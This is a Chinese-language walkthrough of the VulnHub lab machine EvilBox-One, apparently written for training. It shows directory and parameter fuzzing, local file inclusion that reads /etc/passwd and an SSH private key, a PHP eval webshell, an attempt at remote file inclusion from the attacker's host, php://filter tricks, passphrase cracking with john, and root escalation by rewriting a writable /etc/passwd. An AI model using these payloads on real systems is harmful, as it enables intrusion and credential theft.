靶机介绍
1)靶机地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova
2)靶机难度:低→中
3)打靶目标: 取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、网络扫描、强制访问、参数爆破、文件包含、PHP封装器、任意文件读取、SSH公钥登录、离线密码破解、系统权限漏洞利用
5)该靶机的边界突破和提权方法非常具有新意,与之前的打靶过程非常不同,可以很好的扩展渗透思路和补强个人能力的短版,对于初学者学习更加有益。
打靶过程
1)主机发现:本次通过fping命令进行主机发现
2)全端口扫描:扫描目标主机开放的端口
3)对发现的端口进行服务版本扫描(-A 相当于-sV和-sC的组合)
4)先对22端口进行了简单的暴力破解,无法破解出ssh服务的root密码,再通过浏览器访问目标主机的80端口:首页面只是一个简单的页面,无任何漏洞
浏览器:http://192.168.56.113/
8)对网站根目录进行路径扫描
①通过gobuster工具对网站根目录进行路径爬取(gobuster是通过go语言写的路径扫描工具,速度快,其中-w表示指定字典,-x表示扫描的文件类型):扫描完成后发现了rebots.txt文件和secret
# gobuster dir -u "http://192.168.56.113" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
②根据扫描出的路径,重新构建URL路径,再次进行扫描:发现在secret路径下,存在evil.php文件
# gobuster dir -u "http://192.168.56.113/secret" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
9)在浏览器访问发现的evil.php发现页面显示空白
浏览器:
http://192.168.56.113/secret
http://192.168.56.113/secret/evil.php
说明:某些页面方式时,需要在URL中添加参数才能正常访问,当某个页面没有暴漏出存在哪些参数时,需要对该页面进行参数的爆破。只有知道参数才能对参数进行后续的注入等攻击
10)对URL的参数名和参数值进行爆破,可以选择Burp工具的Intruder模块,也可使用如下工具
①先手动编写一个参数值字典,使其和参数名字典进行匹配
# cat vul.txt
1
2
3
a
b
c
'
"
(
<
,
;
/
%
②使用工具对参数进行暴力破解:发现爆破失败
# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w vul.txt:vul -u http://192.168.56.113/secret/evil.php?PARAM=vul -fs 0
-w 表示挂载的字典(字典包含大量web程序参数名称)
-fs 0表示过滤掉空页面的内容
③由于只有一个字典了,将不设置参数名,参数名可用FUZZ进行替换,表示模糊测试,接下来工具将使用字典中的每一个关键字进行替换FUZZ。判断是否存在一个参数可以做文件包含引用(通过前面扫描可知 ../index.html是一定存在的)
# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.56.113/secret/evil.php?FUZZ=../index.html -fs 0
通过扫描,发现存在一个command参数
④在浏览器通过访问,进行确定command参数确实存在
http://192.168.56.113/secret/evil.php?command=../index.html
http://192.168.56.113/secret/evil.php?command=../../../../../../etc/passwd
发现确实存在文件包含漏洞
11)在kali上构造webshell,通过文件包含,尝试让其引用kali上的一句话木马文件,如果 可以远程的完成文件包含,则目标主机就可以把一句话木马包含应用到当前页面中,从而完成命令执行的操作
①kali上构建一句话木马
# cat a.php
<?php @eval($_POST['cmd']);?>
#systemctl start apache2
# curl -I http://192.168.56.103/a.php
②在浏览器进行测试,是否支持远程文件包含:页面回显空白,不支持远程文件包含
http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=ls
http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=id
12)尝试使用PHP的封装器方式(协议类型)
①利用filter封装器功能,尝试将目标服务器上的文件通过编码转化的方式读取出来,实现任意文件读取的效果
把eval.php内容以base64的编码类型的方式读取出来
http://192.168.56.113/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
②将回显的base64编码,利用cyberchef的From base64功能,将编码还原成代码(也可使用Burp的Decode功能):通过代码审计发现,确实存在文件包含漏洞
<?php
$filename = $_GET['command'];
include($filename);
?>
③尝试通过write命令,向目标服务器去写入一些内容,为保证写入内容的成功,先将写入的内容转化成base64编码,在使用decode方法。将decode后的内容写入到一个新的文件
kali主机:生成base64代码
# echo 123 | base64
MTIzCg==
浏览器:
http://192.168.56.113/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&txt=MTIzCg==
④在浏览器访问刚才写入的文件test.txt发现不存在,所以上述写入操作是失败的,由此可知当前靶机的站点目录下是没有写入权限的
13)通过之前本地文件包含,查看到的/etc/passwd文件,发现操作系统存在一个mowree用户。再加上目标靶机开放22端口,可以尝试使用mowree用户进行登录
# ssh [email protected] -v #-v表示显示登录过程中的详细信息
发现目标靶机支持publickey,password两种身份认证(公钥身份认证、密码身份认证)
猜想:如果目标系统支持某个账号使用公钥的方式登录,则在这个登录账号的主目录下就存在目标服务器的公钥
14)通过文件包含漏洞,对mowree用户的家目录进行访问:发现确实存在authorized_keys文件,可以发现该公钥是mowree用户的公钥,且公钥加密生成的算法是rsa,目标主机为EvilBoxOne
①查看公钥
http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys
②查看私钥
http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
③将私钥文件保存至id_rsa,并设置权限
# vi id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E
uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----
─# chmod 600 id_rsa
④通过私钥尝试进行登录:发现仍然需要属于一个passphrase密码,该密码为公私钥对生成时的所有者,对私钥又加了一层密码,只有知道这个密码,才能解开这个私钥
# ssh [email protected] -i id_rsa
15)将加密私钥的密码破解出来
①利用离线密码爆破工具john将id_rsa转化成john工具可以识别的文件格式
# cd /usr/share/john/
# ./ssh2john.py /var/www/html/id_rsa > /root/hash
②指定密码字典,对id_rsa转换后的hash文件进行爆破:破解出了私钥文件加密密码为unicorn
# cp /usr/share/wordlists/rockyou.txt.gz /root
# gunzip rockyou.txt.gz
# john /root/hash --wordlist=/root/rockyou.txt
16)再次使用ssh进行登录:成功登陆至目标服务器,突破边界
# ssh [email protected] -i id_rsa
17)获取到第一个flag
18)提权
①先查看有无定时任务:无
②再查看有无sudo权限:无
③查看是否具有内核漏洞:无
④查看是否具有suid的文件:无
mowree@EvilBoxOne:~$ crontab -l
no crontab for mowree
mowree@EvilBoxOne:~$ sudo -l
-bash: sudo: orden no encontrada
mowree@EvilBoxOne:~$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
mowree@EvilBoxOne:~$ find / -perm /4000 2>/dev/null #将报错信息进程重定向
mowree@EvilBoxOne:~$ find / -perm /2000 2>/dev/null
⑤查看当前账号具有写权限的文件:通过查看发现/etc/passwd具有写权限
mowree@EvilBoxOne:~$ find / -writable 2>/dev/null |grep -v proc
mowree@EvilBoxOne:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1398 ago 16 2021 /etc/passwd
19)修改/etc/passwd文件中root用户的密码,使其可以直接登录
①通过算法,简单生成一个加密之后的密码
mowree@EvilBoxOne:~$ openssl passwd -1 #-1表示一种算法
Password:
Verifying - Password:
$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0
②将/etc/passwd文件中的root用户密码修改为$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0
mowree@EvilBoxOne:~$ cat /etc/passwd
root:$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0:0:0:root:/root:/bin/bash
③通过su直接切换至root用户:获取到flag
mowree@EvilBoxOne:~$ su - root